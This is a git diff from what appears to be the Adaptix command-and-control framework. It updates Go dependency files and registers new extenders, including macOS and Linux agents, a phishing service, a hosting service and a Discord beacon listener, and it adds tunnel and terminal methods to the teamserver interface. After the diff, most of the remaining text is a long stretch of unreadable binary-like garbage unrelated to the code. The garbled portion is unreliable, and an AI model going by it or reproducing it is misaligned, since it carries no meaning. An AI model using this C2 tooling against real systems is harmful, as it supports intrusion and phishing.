github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= diff --git a/AdaptixServer/extenders/macos_agent/go.sum b/AdaptixServer/extenders/macos_agent/go.sum new file mode 100644 index 000000000..8f0a39d1c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/go.sum @@ -0,0 +1,16 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/AdaptixServer/extenders/macos_agent/pl_main.go b/AdaptixServer/extenders/macos_agent/pl_main.go index aebf9dda9..8d516c33b 100644 --- a/AdaptixServer/extenders/macos_agent/pl_main.go +++ b/AdaptixServer/extenders/macos_agent/pl_main.go @@ -45,7 +45,7 @@ type Teamserver interface { TsTaskUpdate(agentId string, data adaptix.TaskData) TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error) - TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int) error + TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error TsDownloadUpdate(fileId string, state int, data []byte) error TsDownloadClose(fileId string, reason int) error TsDownloadSave(agentId string, fileId string, filename string, content []byte) error @@ -75,6 +75,14 @@ type Teamserver interface { TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool) TsTunnelConnectionData(channelId int, data []byte) TsTunnelConnectionAccept(tunnelId int, channelId int) + TsTunnelPause(channelId int) + TsTunnelResume(channelId int) + + TsTerminalConnExists(terminalId string) bool + TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error) + TsTerminalConnResume(agentId string, terminalId string, ioDirect bool) + TsTerminalConnData(terminalId string, data []byte) + TsTerminalConnClose(terminalId string, status string) error TsConvertCpToUTF8(input string, codePage int) string TsConvertUTF8toCp(input string, codePage int) string @@ -1707,7 +1715,7 @@ func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData fileId := fmt.Sprintf("%08x", params.FileId) if params.Start { - _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, params.Size) + _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, int64(params.Size)) } _ = Ts.TsDownloadUpdate(fileId, 1, params.Content) diff --git a/AdaptixServer/extenders/phishing_service/go.sum b/AdaptixServer/extenders/phishing_service/go.sum new file mode 100644 index 000000000..8889bb84d --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/go.mod b/AdaptixServer/go.mod index 37303a2ef..f5553c933 100644 --- a/AdaptixServer/go.mod +++ b/AdaptixServer/go.mod @@ -4,6 +4,7 @@ go 1.25.4 require ( github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/dop251/goja v0.0.0-20260106131823-651366fbe6e3 github.com/gin-gonic/gin v1.11.0 github.com/goccy/go-yaml v1.19.2 github.com/golang-jwt/jwt/v5 v5.3.1 @@ -19,7 +20,6 @@ require ( github.com/bytedance/sonic/loader v0.5.0 // indirect github.com/cloudwego/base64x v0.1.6 // indirect github.com/dlclark/regexp2 v1.11.4 // indirect - github.com/dop251/goja v0.0.0-20260106131823-651366fbe6e3 // indirect github.com/gabriel-vasile/mimetype v1.4.13 // indirect github.com/gin-contrib/sse v1.1.0 // indirect github.com/go-playground/locales v0.14.1 // indirect diff --git a/AdaptixServer/go.sum b/AdaptixServer/go.sum index 93ccfbc40..8eb9c86ec 100644 --- a/AdaptixServer/go.sum +++ b/AdaptixServer/go.sum @@ -1,5 +1,6 @@ github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= github.com/bytedance/gopkg v0.1.3 h1:TPBSwH8RsouGCBcMBktLt1AymVo2TVsBVCY4b6TnZ/M= github.com/bytedance/gopkg v0.1.3/go.mod h1:576VvJ+eJgyCzdjS+c4+77QF3p7ubbtiKARP3TxducM= github.com/bytedance/sonic v1.15.0 h1:/PXeWFaR5ElNcVE84U0dOHjiMHQOwNIx3K4ymzh/uSE= @@ -97,6 +98,7 @@ golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/AdaptixServer/go.work b/AdaptixServer/go.work index 1b04a4b98..7fe9c0ce5 100644 --- a/AdaptixServer/go.work +++ b/AdaptixServer/go.work @@ -3,10 +3,16 @@ go 1.25.4 use ( . ./extenders/beacon_agent + ./extenders/beacon_listener_discord ./extenders/beacon_listener_dns ./extenders/beacon_listener_http ./extenders/beacon_listener_smb ./extenders/beacon_listener_tcp ./extenders/gopher_agent ./extenders/gopher_listener_tcp + ./extenders/hosting_service + ./extenders/linux_agent + ./extenders/linux_listener_tcp + ./extenders/macos_agent + ./extenders/phishing_service ) diff --git a/AdaptixServer/profile.yaml b/AdaptixServer/profile.yaml index 363b546b9..b8a843059 100644 --- a/AdaptixServer/profile.yaml +++ b/AdaptixServer/profile.yaml @@ -14,9 +14,15 @@ Teamserver: - "extenders/beacon_listener_smb/config.yaml" - "extenders/beacon_listener_tcp/config.yaml" - "extenders/beacon_listener_dns/config.yaml" + - "extenders/beacon_listener_discord/config.yaml" - "extenders/beacon_agent/config.yaml" - "extenders/gopher_listener_tcp/config.yaml" - "extenders/gopher_agent/config.yaml" + - "extenders/linux_listener_tcp/config.yaml" + - "extenders/linux_agent/config.yaml" + - "extenders/macos_agent/config.yaml" + - "extenders/hosting_service/config.yaml" + - "extenders/phishing_service/config.yaml" axscripts: # - "Extension-Kit/extension-kit.axs" access_token_live_hours: 12

      zr=s;hr+&+d$DL8|YHt}w_83{+EgKwbE&g<{sm!AG~zl`$Fu^ZDRFwlPc{y>|c zv}K_saK5S@Zz^z-mx&o|JP z-kbAvQmro4pJDOr@+~pF4MRSJsmQv9xlo&HeI{RV3x~0}7%w|v$j`{b`rJIm#Ql`@QxDX3OEQA$2{J1>v3Q@iHNSb~} z@~M&U6ClXX!4i78mn~Z?EAa|Pe$%6{=@4arg^&T-+TmAP0tp>?B7h-Xhgqv-A*A{V z2Kq(71UDb9Hm&T4t(k&LK^(y%m6~2)A@P>QR>V|i;Tv<|QMx zTdh~6Zv6;)%}~QeI;>Fs!HA!SJCtcL;Kdw4qrpf3(Z^v-Fk1$)0%jf-7%L3qL;$k7 z%T{Ot_j=nqOlQFMc$l#Ia;ceznqY`!$@iiz!ZlTOX4!x#5;xJ>7D61)rF}9VTlO1x z>=}~BjXe7%30z#2H2#|8n^^1mZJ4&i(ldbx`SKA?(hXB)nsNQ<|D2D<23L!GREteO zWy-|!9P6B4ah=>+SDG}_aXuRcfSH&KRrbkrCqh5G8j8n4S9T%r^Z>FA9(P$ZWU%OH z{u?527egC?8_%hTt7U2R1;9%6rdeY~p2jbHvGSye9rb&^eb&Mb**Z?;Qa7&Q`IN4IZ zle?ih$&E&CzMJIk2T4Bs$x@Lb6+at(YGKq;0xX4WH`c&BKKrHKuuJPwEcKZ}ai4M9 zXmMVO!H$LQkr802m-TZAdJ`<8Wb$Y|snDU6Zk(O{c%%axX3QDu#}C&U4FI>|{BHBYta#OK|%l+!5wYSdOwXtXYWz ztk7})36FQB&aXzEtmDBu*zjYOpi!K54L*z!*f|zT_O%FD&OrDPipA*1eJ7^(bzZsh zTDkKBqHAv>L6J^d~K2sH6g`-0Ro!PpGLCet=q;JM>+?k)-OqBo97M@=|@0 z_w<|E>1EiBk}Hi=yN?9bY5ZzysDa~$SGXZtem;0QpNO%d#R zhYXzLRE>;?jIh!5Z(|)vwz=@Y-dh4Z{xZoEMzZMwt6*{j%wu}2eJa0RPEz?U53)~{ zyPV`ABbBPMzI?gLBo`TZ==uMLxwn9h>h9XUGc)_lOcJ0)VnA?fOP#t4ZGo0jSL#r^ z>+TRpAOS*xy9WuuT?!Nk65L7fmf-FQ_U`N2b3)qEyU+8k_gm{*D{JlF-bXTX=A84l zEfjY@#!~RfxBwY=z!I^{xdp3s-FyrEveLiNFZuqn0Z9q22+G#r4Acc48gc2UVaPB% zt>`Gs7|IlsFI$O#?qi6=*oQT>p3bGy^+Evgzn^n~*G@OjPPez{bgdm}>+qae$X{$HQH*3A^PO?-vvT$Nvkq)o;ib0=euVJQ=pMG3pivXWgzg;g#j zbD>@##f63bm8e>q@0S^@Xsf2Pfs`O&MR2RaaeelX6l0Dv*O6Rjvm-m4eGcv8{=weD zpWv7ISWfP(<1rZ@_%%R#bLN#s_ym-8Xltj0ly4{!(eqs%Ik5z_5%l*zj^cOI4J?(q z!Wd*pvd)-li;*Uvy+7SgEd`;e-L;!REdv>^=m$LqlZ8m2Vp%be3`6$F0c0^hCUOE9 zdJ8eWOmLFyYmAr4c8+Pz97pCd8J%iOMz;?Yp%eV={gSR@PuUjS8!W!@gzY-eKg2%M zkidAm1iuDy6m&HA0~|3<>f@rFzcU^wTU&0?hNeKNCIzNCRJ{KUh5gC}=uu2Dn88&P zg_$n=>O!t{Eq3DVaL7!D=)P6}PofF%Bto-XsP|ZHcux7C|3E(cT)s-N|I`!dECTje7STGA&?j<0qzsIlVA_Ppg^{u@GS{@NSmFIW@`7oLN^C4a*jQq3 z3E5YoO-bokG99kBy-U(Qltn~wmXbMGq;Ile6hN2I+&NcAIHOJTHsx(ibck^+78ySLQ;SdT^0l%9M>oY^*1)rwatN0spHNSVXlr|xk$qR@6tj_eyr*i~|lZCZCl&XuzL$~{-gg)6(1 z)*jxm8nh=xb%`Q$i5g@uC~B<1#HhIjd9i!!H#rfT5Jy;4@k~WIUUh?=<4nb*cxe-# zVLxhT7rMAGJN{_ABvk5ANd{CJUdev>_~r4Jv;mbz*^fKWg^pGFRI%&sLVlH_20g2e zs7lDJI^AG;)g@JBY1MtIwe^|{cna=|!C1bZiymJ$E8amnsv_S_dg2v%^*a)y%H}e) zP6{01ScPH@)_J`;COnC#zCuhFCnDFw0%YG>iut=juM9=@v>mWr;sS?l8U4=!2PPodl(Yq0~kl#DRqUEsX>D1 zqMyH}Twk9QTZN+jlhWi_(o4rk+(9bAnR68ApAFRpZ-j)C+=@WRW|5z$25 zv3T|y76lSe^@uSoJ<+2X4u{Ga@Z0~xR)x~x*g744?m-52Un3a_<>Dk&aiIiJ`LCRBa*)@VDa*9NUx2& zGTME+{${Cnw@bGeJ^myG)8beK7*|W9)*MaP)*Kx5M82t?L!px-;?(~lyAPH@-wR8 zsQe`)dwMbrdbu#3y?celRst2TDHa^{%FQpx+a0l*J;U?{f6?P_rg-6P6K_#;D#j}mu$YZP9|o)RM?(~XTqYPC;Farcr9geKfnK>)U%cAUPd7IqG>od1txZwR z#Ak_S{X8UDzBPr#DhJ_Or5jjmvBCyU+zvw99fCG|7ZXwp*3n~n5WEin`q1WMEg>Dg z0ozfydMNT;&bG;oPRM|`3G>n8{oMBmy5%jsJfI(fhWgOuS(~2bDA|za zVTKwS(lDLDvSGQ5v!SWGZDaCFTUSu6KbL6~EP4EJ^y0R8Ly%`MhCO1!OoJYh1$WRn zNcy(d&Tk%&I6vL}N7&nCguPu<)P6`FdWZBae6Lh~2bpR6W!io!-d||eHum;OH?6Z} z?#M7L!*V%HGi@OkEHgv7Ryuf5_%;(y^$3G*E{ykXGT2R@woG&t0V8#Qh9!>0Sa?fe zS5r-8s!||96~vtsjhj(CY2qXF%vBD7AN6?pT#iKJlwxPd;55xh_@FF8M|FjnSD_od zj_%qcy_U{>H)CT*B3=DZUkC;ojAeRUh55dXp|cUP^h8d!UzS-*vM3-c*}|y3L$H5P zh6RTQWqNQ?P?iLj24y8&@kd3BiIC}d2`q?6iR8XD>r&J*aqB%4x0yg`YZ+{rMrNYM zppFz$BD>pxW9hg^m~1eME~;4=jjT6V>B3RWS`{5S0$Hh-(AikE^UMdGN`j0+Ed< zl;b{TZVYXVij`_L!#w()d;L>O`;Yonats6B^O)ROiyTs|eW|F=u@$Yx7boeu{FY(>Q-mmN$I{t8Rwq$yE2}mrSh8w`T`0V@ z7nMl|A*t&)XO^CBynf#c7*hAcn_(2n*sQb83Af$b2(AdFdE>b8bg| z?VboG9*$GYMDz_8V2YotK2FxoWBtA&>jm6)1L%G>9uAOW;Osfq)kYd5Fi??@WRObB z1RW|~FLyN}Auq>7ZGgViK}Q#l<=sI&H+|xdqwAIem!4m}a!j)Q-1FK8r2ccH8!yq# zEXAM{5?`izC=)#V#oJxd2+T@_@F!~KO06)O$$ci`aa;rMm80F{-jM{2}gyA1RcFzT~8i-iF8wOdfq4`>OIIzLL`c&Z&JM3jG|c*Jhte$ zk%3v+8OTzH1u@RGK9h#nbm7-~Lig!Py`0RU%AK-^E4`Yc`gN}3T5FiKlTp4ZMYXFauD*`qx?3pje1PJ?1{6;9*uDQU2j3GHXMLQ(rV3S3wf-~2%FLxP7AK81urPCl>jO36})5^nUSG+%Cph>}t&O5SWv z8{H1+{;uDRL!uHzR2S!aPKKO{@JA{355pp$J!9fO05}W0k^XXx^#w)i!Lec0A zinl+bSi_1OgdGMuSX5^X>IR~M+ZxR0XBZ5llYtIaYSosy_2uPeRH7RlE$bbzd>)To8|qFNjEH`;qXR8CQ~ z^PDW%2sgdW2B*B8?fWg^`$=J`3+)(Lpped59tu6V+^*2eh5kqfGL`kWRQugIWN_L^ zw9lX6pJuR=sZJI0UFZ_%WgoFCL0h+4kH{kpNH2aX-(u98i;09O9#$!*mV;jPJ~mmo zSZV8O^J>(FA|7a-cY$hoUU~I(`TiGa4R7AgaGp(NIDH-}U|qn{S~~LS4Dd+?BHy+$ zP$bW5rZImq4M5eJ)4p>)nS{bA3z5Kg4JzE^qp!A)MMCntme{w*PE*4d<)v3iyl=YE z`795k@}2e>m+DB2FpW_)3M=&#VV+I;6u&|d9Vg|hknVee;+5Crb@X-&-*|`gHQqCu zy;9?Pic%G%N)1xQDiqh>9Ol`gP1x)5etRtc9S)^7O-C-zQHWnShExZPu(!ui_l~)T zg%HVDt5JapT`HbwN`bfy?H7;3n0>J)WJ<#*psQ){oBqoVO#eIFA}MF#rrqh9_%qV+8+?;k;Ym%reSgIvoPHxRuhk;0Z*g zX>G9UK4anrxv?Ip-qRF)JQF-2$TY~bxe1uJX`Awzi96-4dr9{;rI^dFsIU~{D63>j zEzcki=7X;J2*z10ym%V7VeHV=%fNCO%z2@0UdFl+26zV>WLTxsQKlK_=uEEAmP_hf zO~nbPxFTL^)*)Setz35#31Wx-lJ`peM~o`6?NX|8FU7s}wFxGDgdY&Hy~*}giw)M_ zZB0joR15QHH^^h6hBhsGv}uV6^X%1zzp*^2mvbK)L@o*(&^BlpT!b;mQ{~Bb<+D~E z%P4KegI-<fknNY8X3*c@BHANOaw;a{uGf^9((V2WP5T z@;yTgc5&@n;RGYhk7#>zlhk`sn*O5W%Wm*3!^>99KNlI0_*o6`0INrOx+%pkDRzQx zOqP4pD-B+hG<>I#yb;v^?^zX26ad=VJI1W_Zk0Qpl^0rgm_w4LJL^-tpk0@f zI>`D_Z>bI*Sr)&k5)I3Id6+gjnM!s-gLuEP2XvbVyC3Q|zvLIr78F|DEut~jNl%&WMmqHL>pq@uKnPmGtg@yYSh zCw^GGWW|q*ms#=4;`zV--=BDqow$9m6A!l&)4smw@JmM)9rTy~jDJe|F@I`6o8YMd z=@BzMM&`xriIGDwEn=l(Z2wr96gwqWX2vdvmAu&eSUD1#94Fo5dc?`*xcza`rhNDE zGO+xh^0Jox>w3Bg|If~J!Vc{kE4_*x{~M0qUi|nSal7nz9>v}Mya(-x!IYr%4h{&) z$l%1FWJG60%f#s4qGew6l4w~TeJom1W71-{FDF`8B4FzTiYIjo_72Lh@T_pz9dR*2 z7MI;rPA){Zijkby6|r(U?p&NCRcu#Lrp3>)OPyIVt(2sd?OT@G(BR0Rj1Qk1E^SKB zEG-*KA1f{AN?#}~-OBVVBRk6+DRHl8j&6bJy5B8kT+!B?mce6GCYS+>gxhWl4_ca`Md$h5|kA_K3qU$jEo2~+JdfVG8G8^!W(CsD#I zTl5jkHI3=9y0UYo+D6pvy5KDHOL~Rjc31DAlODdVZnKA)3v96Xj~S!}x&{cHE=GzmqKSuV)95Ss%Y{yta|JX^fG9`AVtBp2T7n>I=3FX_Am+s|z zmY0j=)9vRv7<{3hOG!`U-nZORLzUq70}w*xp)GD$cGbb1Kd=ZBxZ<6=hg_mOXw)Dz-96jBgt+ z$?<(uJEKFu`V{p{e2rONl?*p2&`w5qIfKXPqURKnKd>N050Spo3Dr`2I5N$d?r_h6 z-hbO;mvl0i!9HPuJKI)(sr(}N-GJHmC&JHvx|3^%o$?mgFooI*RP9^MvbzOX6YY&6 zQGJCPN}5U!XQCcg=#{&g$kQ(vHKcg=1BxHppr?i4=|XR4d9x79o1>B4B4pl!z^fcC z9;#-kDGJd6@8ly4W!PyUoZAlIHFDh5b{QOJUTFoSde;#nW)2Inaz4&r98#Rjp!ux! zy04YnA4HGqOdqmPikC zYYFot_@vB_6r(tw*UBfA>&v4bhk4rgq% zipI}L^KZjEI{w0}k&1FA9(`H9>WhUD45*+#C(pe|LMnsMf{ALcd_wUm@+bKu<{FAv z6SqG~(eO2jMkab<(Q*_cY*T%gpcnFZWpmNDqfhF7F5j^Gmtp$N&9q$v>&Vpu|3nkr zR8)~_jf~1rG-}M;WJ*X@rs72v-F-~?p+n!!mTgzEY>jIH){d9r!D}y;qdN-~mFJ-- zRvwCN{LYn}zZ{QyPfff2ZYo!S;@$`4p$5|6X(~^@%jqf5n-m}aBuSV6Ux|W5hfuw- zBU;BZPLf~RaH3szvJ_VeS?H!r<&2_g=AWRj4zbbOUGoy$jd@7Q!o=y5>2|920;b#V zj!BR#I20~1Z7I9s-L14Np(kg76gJVvLt&48G{RmNj%#06QXG_1qLyILg$0)tGMuqk zmONvc&0;C6LZRqQH23gHt*aynvo-S&mA4mTpOXk99pTJF<+g-?qy&Z`)M-{g7F*@E zQ`&Jwn>{-?KPZdotFPxdh_z^@|KQBc2rO#P!4>T6|L7RwzHXeG;f7wGXbJSWKaG8C%aW^)0 z{D+M-YROe!%eP5z^@In8ny$WuqR~4P*%)D28A@tv4f5%D(F4ifungY=uc8plw8T;! z?Pt%Un_3UtR!5QgDr8P`dK;v>FpLpi3d3EfIIQ>F<+wzLf7d|CNI(Ovnm`iue7I%WFI?)Ny?-N=z<6 z(;rCtb(Yh-svY=~cHC+Xw-K3yHgo_|!R8>K{t!wZoJEJZtv|(oxqbh<8~0f4nnK#f zVp-`&+qd!Z7_(gyAkMW-%0n zwG0naSa%7w8ywUtN$A2chQde|1RzW^nC2`rnB!mTmv#QFb~U&9`v&A#pdb*^4x0I( z|CB)?s}Cr2V}zB$fuZeBN%X$5c=p>ujc zxNm}0R_Tl(+DHinB&hw}k1Y-Ha+VrU!_O=~*d7zRXnBfRsPy9skwQK*uq&KoqCbUW z$fP!b6{}orqN|;yAIt!BoaP&BpkvDbyiMqZnJ)U_28e#RX^1G@WgqW|ZY0cO;qrmn zYHq-^Rtg@hzVL4P4L$QIw(ZZ_6ihd6@W3NQwaqRdNt}v@o}x&>YHe38Qw>D(IMQGw zODPRR-vF<;K|W-4d;V2<|7S_2gS=X*Tu*UJLwWouqlYP)zfbWqGmEUSeS3L^8w|$; z`FPj7lS$nM;cAA!l8Pv_pu6*6?b=q6+HXl3{O`vhS?e66d)bN@{6vgH20DoU(fz8| zrl?`!tq&!@r@eufH8># zg)XeJ6kN!>HQFbU_lJ4Lpc~)QYc5wq@J+^{)cbs^|A8k&_o!Q+;#w20eNOSZ2~OAc zLy+5W?>H|_a4;a8z@knfW5-k*%lGIQ{H!6!wi?7;gj!c7Bpri>8lcw%fjTN~Fj4^ruj`{cgGE zane&SQ@r~*#d{{cNJ1{M>2M!hVn^m-Y~BJvY28_fSxx&G@U3u&Q~VRrbYV_=qAygb zRAHkz+oB)`%D8j+Y9d@1Lof^l-{*6{JP}Ka?d;TN2$OtR@JPhucNe-^s3Ep4MVyKH zFHt;V;;rWL?$=?S$u>@#Y~wT)Ax~%}dP1wDC-fBiiKf_3q@vO56pyQzszXVvm?U^x zx$g2)@wHaN`)DKX^<>NFOZ!?K`s=;Y9aR=E6jD<@2LuWSoeKz^9D^!Cg?^d}{b&6$ z5+MM`0w)4A-EpUU@S(oK(63Y#<+AI~!BnWuoy1@?l@ww=XZvRJ1-J zSj`Y&g*7hhg8yMFhVrR4$-CHKvI|yNaVmbV0|vP+96-+1WY$uiiqZQDgPAVu;uPmp z)QS#4p|2ZqA}qG=znHxbg&Y?S^W~~=#DzqCCCVUYt!ZnWJqGJsxZrfMD|gX_PX5t; z8ROq!+79{%DE#iiS${{nu;*Op7#N8NgsrA+wQ6rZ+2+E@K(bxvQ!XT9+%Yt`(X`y) zL4!QPG@p3&!%fE^Tgt_dAZGaF+2`dyAJYMkvG}wNMf>sxx+E>U387S*EuA)4yXbFw zu=de@)Q)L~mEH{BXk5F!qHR%2+oR?~D6;$ff8^stk8I(!QR|b>>TR?Llulta9t9aDlVNcHarN=+WAk$r|5&1imC{SBQB8bmKUt z9h!kxNC@`oCnM~0p^ekUc5X|U>C-_3X8mT`AVNhs6CD@^rjSbbRUf?uk)yG?3A1GR{9Xf;*s|I%t{dV0$*?h-h=3>psef~|5ol-4yJQ~v2ffVPm-P+j>mz{VQkzlt?Fd`}hcg+4+L5SKMVyHb zzoqz(iBtyJ&G&_(?G&b?Wq@A*HA})bA1{L=2I<}*wrL3a2H9x(m-#F;Il`W#6_y8& zAhCZUvs-54M$Ux0*-A__?m^6PCdMcF)|`eAr6Y*YNo1}m-S-SCI3n3jmNT&u%> z50`x?3y_E+!u=u!N65s84H4X<*T3$8nI`>l3bcpiOu*Q0siSX+{f;E~j|Ak8;C}m% zf7{r`FUkHsei`7;MrEGj`~DAiTZh47GLnE^W@FtZ6ixnv898EqICo@n@eFC!v%^=1 z7ugA!82NSx_6f>>;55W`CE5-!5tbpn!*&aRYbA2VyhzPX$kz*@S0YV^s5*+1{Z4{5 zF^qD;g$mynE~ydyB4lvH#0c3CvCHhK5nT;3nFnkE-tPwyaNh;KKJzijhd?j24?>=S z*~sovfKc;3$h^K-mW%9`c8+v*G91Z5)tG6{ETrT)>qu{0x)J`#n3UP+mt+3n0iG%Q z&xa29`=Q+J;ieQ#Ka;U^aZ>*5hmaq$@((RN7H2!1!IWz0jWxl+h>h5SGy|z9bG9z9 zD^RqNkdI`z2a(gD3u+|H#}dL!Hcp|9gynExI_q@w%cQ^(JHrb4E-AG27dNN;No(hH zM!l6Rl%$!4iUGM!XbNV5k9I&xVqk?v)?M#;#iNl0ZfKT0-79gUJRQRkziP4whwe#Q=-0l4L- zV>#i{r)`PO!~b7DGE1H1(G^CuQ~0p`d_yt7MZYRI7%SwtLD})Y``GjU{IR>^V=pKn zeWNq%zYf5OCt59<|NYtfMoI?$#fHf3sDG*dqIHSC{fj)L-Z_ekm0qS>85#P|SE9Wg zz;|}t<_8W3sGSJ3 zG;?Bj$8gDnm%$1olsOT3E|T_+sJ*!qRest;bcm1+5uH%$esqM)jQA}=@+0;|aJNno zJtL%d#BkI0MI4Bb(-AH06bmu))W5`#64It*`;yYHb( z@E(|5W_=mSFLSXBP0LE=*|u#Z^GnLPlC4TfVyTX$Xu4RYds#x)sD4q>FKT3zOp2Nt zC99&=N6|h%YL&tIsLfGwH0n&0oR4awKg43~3tY_-ok}R9tKzmt<<9#UzM?QopSOit;?w8p} zdxaZ9qZj2zpQ8AgN!NOq4Wks9fk~%BoQ0%mh;2JY_qH5#7&@5iCAAbw--`t!xxNW$ zG5m$kBe78%1a}XV(Y8ll#4C(ObGsR}vXT)j*cJERL5%ymqSj1?PkW3PksYt6)5npq zX!h4SThXX@^UF}YlgF}3(h~H=_0Y@g%Z(N4O5N*8AALvh9lWeK{$7H&V0X-&XPVaC z{6a@#s%^8Groh>A4lcxLth(m2cwWeEXYh9Q5|$xsbvv5p)|iJork|+DPOvO13Uhsn zu|~HMDSJ-&LZMe7J7FWHH`1l6nNOi0TMJB$chyTM8#!im?JfUq?;z<0tx+p(DYDLO zbq+gBb7~vnQmX$tv!_E1h zLdQ?Fy!Ebp&7yTFwW2!Q^6z6 z{CE?2_6_;+@*6u~?qM)jLRMi)84I!6e|WJsiZV>`aAs1vAf$c;n!95tKRFXVJvqqT z0GB{$zqVPsNwOAwp+gw)cMPNlq+6hWKt=>c2V_cMTR;+mt%K4NzF3=sCxVg`o)#`! z!jB;B1$uJ&zg~M&KJESQ|7j<}9xwg7Q~&<&4qx`)^+u+hDHy2k!$ZCr=@WMP5BcR> zFe$wF9?OyF@2ux?d$2;_0VMdui-M*^%PA4k+Hp*>8V}kEv=PU=bf=Od;e~dF-;f?; z9Vd}iW72R1B80b_wwHaj)#$k%F_?^w>q6g5DXyKs{d~qJXMKHz6g* zTf&Q*vXD%AAC{etJJJ=Eru+Mg@5YT;{xN=P{ry>(^B8a1V*hf3<^I(MSUSS$iByF;&ppdrJ)q1gB)f%k1 zgkU_~4GF)w&WEZkXN2(@%tiig!0?O?($oH1Z!A5GqURBIl3dZxvA3AEi<%BK%he6@ ztoKR$Ghv<$K8bFKLN`{KUYnJdUXeGG;9%6x0#GCeo(Wqp_215$hPHNSsQSlpOxL&a zwM9D)f2oa_dxv|LuMcv(j4@NWIEp%V$%Bn8-%J7P)~M~S2c+>!q$Dgu_rv(EEoQ_{ 